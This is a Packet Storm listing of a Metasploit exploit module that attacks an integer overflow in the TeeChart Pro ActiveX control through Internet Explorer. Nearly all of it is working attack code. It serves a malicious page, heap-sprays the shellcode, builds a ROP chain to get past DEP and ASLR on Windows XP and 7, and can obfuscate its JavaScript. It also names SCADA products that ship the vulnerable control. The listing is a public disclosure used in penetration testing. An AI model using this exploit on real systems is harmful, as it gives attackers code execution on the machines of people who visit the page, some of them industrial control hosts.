TeeChart Professional ActiveX Control 2010.0.0.3 Trusted Integer Dereference

2011-08-13T00:00:00
ID PACKETSTORM:103964
Type packetstorm
Reporter mr_me
Modified 2011-08-13T00:00:00

Description

                                        
                                            `##  
# $Id: teechart_pro.rb 13554 2011-08-13 02:05:08Z sinn3r $  
##  
  
###  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super( update_info(info,  
'Name' => 'TeeChart Professional ActiveX Control <= 2010.0.0.3 Trusted Integer Dereference',  
'Description' => %q{  
This module exploits a integer overflow in TeeChart Pro ActiveX control. When  
sending an overly large/negative integer value to the AddSeries() property of  
TeeChart2010.ocx, the code will perform an arithemetic operation that wraps the  
value and is later directly trusted and called upon.  
  
This module has been designed to bypass DEP only under IE8 with Java support. Multiple  
versions (including the latest version) are affected by this vulnerability that date  
back to as far as 2001.  
  
The following controls are vulnerable:  
  
TeeChart5.ocx Version 5.0.1.0 (clsid: B6C10489-FB89-11D4-93C9-006008A7EED4);  
TeeChart6.ocx Version 6.0.0.5 (clsid: 536600D3-70FE-4C50-92FB-640F6BFC49AD);  
TeeChart7.ocx Version 7.0.1.4 (clsid: FAB9B41C-87D6-474D-AB7E-F07D78F2422E);  
TeeChart8.ocx Version 8.0.0.8 (clsid: BDEB0088-66F9-4A55-ABD2-0BF8DEEC1196);  
TeeChart2010.ocx Version 2010.0.0.3 (clsid: FCB4B50A-E3F1-4174-BD18-54C3B3287258).  
  
The controls are deployed under several SCADA based systems including:  
  
Unitronics OPC server v1.3;  
BACnet Operator Workstation Version 1.0.76  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
# twitter.com/net__ninja  
'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery/msf module  
'sinn3r', #Auto target, obfuscation, lots of testing  
],  
'Version' => '$Revision: 13554 $',  
'References' =>  
[  
#[ 'CVE', '?' ],  
[ 'OSVDB', '74446'],  
[ 'URL', 'http://www.stratsec.net/Research/Advisories/TeeChart-Professional-Integer-Overflow'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'InitialAutoRunScript' => 'migrate -f',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', {} ],  
# For exploitation we need to calculate a value for EDX:  
# <target address> - EAX / 4 = address to place in edx via signed integar  
# 0x0c0c0c0c - 0x023FB8F4 = 0x09CC5318 / 4 = 0x027314C6 = decimal: 41096390  
[  
'Windows XP SP0-SP3 (IE6/IE7)',  
{   
'Ret' => 0x027314C6  
}  
],  
# Windows XP target + IE8 + JAVA = ASLR/DEP Bypass  
# 0x09442020- 0x0326B8F4 = 61D672C/4 = 18759CB  
[  
'Windows XP SP0-SP3 + JAVA + DEP bypass (IE8)',  
{  
'Ret' => 0x014E59CB,  
# 0x09442020-0x2c+4 (compensate for CALL [EAX+2C] + 1st gadget) = 0x09441FF8  
# get back to the 2nd of rop.  
'Pivot' => 0x09441FF8  
}  
],  
# Windows 7 target + IE8 + JAVA = ASLR/DEP Bypass  
# 0x16672020 - 0x040AB8F4/4 = 0x049719CB   
[  
'Windows 7 + JAVA + DEP bypass (IE8)',  
{   
'Ret' => 0x049719CB,  
# 0x16672020-0x2c+4 (compensate for CALL [EAX+2C] + 1st gadget) = 0x16671FF8  
# get back to the 2nd of rop.  
'Pivot' => 0x16671FF8  
}  
]  
],  
'DisclosureDate' => 'Aug 11 2011',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true])  
], self.class)  
end  
  
def junk  
return rand_text_alpha(4).unpack("L")[0].to_i  
end  
  
def on_request_uri(cli, request)  
#Set target manually or automatically  
my_target = target  
if my_target.name == 'Automatic'  
agent = request.headers['User-Agent']  
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/  
my_target = targets[1]  
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/  
my_target = targets[1]  
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/  
my_target = targets[2]  
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8\.0/  
my_target = targets[3]  
end  
end  
  
print_status("Target selected: #{my_target.name}") if datastore['VERBOSE']  
  
# Re-generate the payload.  
return if ((p = regenerate_payload(cli)) == nil)  
  
# align stack  
retn = Rex::Text.to_unescape([0x7C3410C4].pack('V*'))  
pop_pop_retn = Rex::Text.to_unescape([0x7C3410C2].pack('V*'))  
  
# shellcode  
sc = Rex::Text.to_unescape(p.encoded)  
  
# Randomize object name  
obj_name = rand_text_alpha(rand(100) + 1)  
main_sym = 'main' #main function name  
  
if my_target.name =~ /IE6/ or my_target.name =~ /IE7/  
js = <<-EOF  
var sc = unescape('#{sc}');  
  
var nops = unescape('%u0c0c%u0c0c');  
var offset = 20;  
var s = offset + sc.length;  
while(nops.length < s) {  
nops += nops;  
}  
var chunk1 = nops.substring(0, s);  
var chunk2 = nops.substring(0, nops.length - s);  
while((chunk2.length + s) < 0x50000) {  
chunk2 = chunk2 + chunk2 + chunk1;  
}  
var blocks = new Array();  
for(var counter=0; counter<200; counter++){  
blocks[counter] = chunk2 + sc;  
}  
  
function main()  
{  
#{obj_name}.AddSeries(#{my_target.ret});  
}   
EOF  
end  
  
#http://vreugdenhilresearch.nl/Pwn2Own-2010-Windows7-InternetExplorer8.pdf  
if my_target.name =~ /IE8/  
# thanks to corelanc0d3r & mona.py :^) for the universal aslr/dep bypass (msvcr71.dll)  
# https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/  
rop_gadgets = [  
my_target['Pivot'],# Pivot back EAX for ESP control  
0x7C342643, # XCHG EAX,ESP; POP EDI; ; ADD BYTE PTR DS:[EAX],AL; POP ECX; RETN   
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)  
0x7c37a140, # Make EAX readable  
0x7c37591f, # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)  
0x41414141, # EBP (filler)  
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)  
0x7c37a140, # <- *&VirtualProtect()  
0x7c3530ea, # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)  
0x7c346c0b, # Slide, so next gadget would write to correct stack location  
0x7c376069, # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)  
0x41414141, # EDI (filler)  
0x41414141, # will be patched at runtime (VP), then picked up into ESI  
0x41414141, # EBX (filler)  
0x7c376402, # POP EBP # RETN (msvcr71.dll)  
0x7c345c30, # ptr to 'push esp # ret ' (from MSVCR71.dll)  
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)  
0xfffffdff, # size 0x00000201 -> ebx, modify if needed  
0x7c351e05, # NEG EAX # RETN (MSVCR71.dll)  
0x7c354901, # POP EBX # RETN (MSVCR71.dll)  
0xffffffff, # pop value into ebx  
0x7c345255, # INC EBX # FPATAN # RETN (MSVCR71.dll)  
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)  
0x7c34d201, # POP ECX # RETN (MSVCR71.dll)  
0x7c38b001, # RW pointer (lpOldProtect) (-> ecx)  
0x7c34b8d7, # POP EDI # RETN (MSVCR71.dll)  
0x7c34b8d8, # ROP NOP (-> edi)  
0x7c344f87, # POP EDX # RETN (MSVCR71.dll)  
0xffffffc0, # value to negate, target value : 0x00000040, target: edx  
0x7c351eb1, # NEG EDX # RETN (MSVCR71.dll)  
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)  
0x90909090, # NOPS (-> eax)  
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)  
].pack('V*')  
  
rop = Rex::Text.to_unescape(rop_gadgets)  
  
custom_js = <<-EOF  
function heapspray(){  
var heapLib = new heapLib.ie(0x20000);  
var payload = unescape('#{rop}');  
payload += unescape('#{sc}');  
while(payload.length <= 0xffc) payload += unescape('#{retn}')  
while(payload.length < 0x1000) payload += unescape('#{pop_pop_retn}')  
var data = payload;  
while(data.length < 0x40000) data += data;  
var block = data.substring(2, 0x40000 - 0x21);  
for(var i = 0; i < 0x400; i++) {  
heapLib.alloc(block);  
}  
}  
  
function main(){   
heapspray();  
#{obj_name}.AddSeries(#{my_target.ret});  
}  
EOF  
  
js = heaplib(custom_js)  
  
#JS obfuscation on demand  
if datastore['OBFUSCATE']  
js = ::Rex::Exploitation::JSObfu.new(js)  
js.obfuscate  
main_sym = js.sym('main')  
end  
end  
  
content = <<-EOF  
<object classid='clsid:FCB4B50A-E3F1-4174-BD18-54C3B3287258' id='#{obj_name}' ></object>  
<script language='JavaScript' defer>  
#{js}  
</script>  
<body onload="#{main_sym}();">  
<body>  
</html>  
EOF  
  
  
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")  
  
#Remove the extra tabs from content  
content = content.gsub(/^\t\t/, '')  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)  
end  
end  
`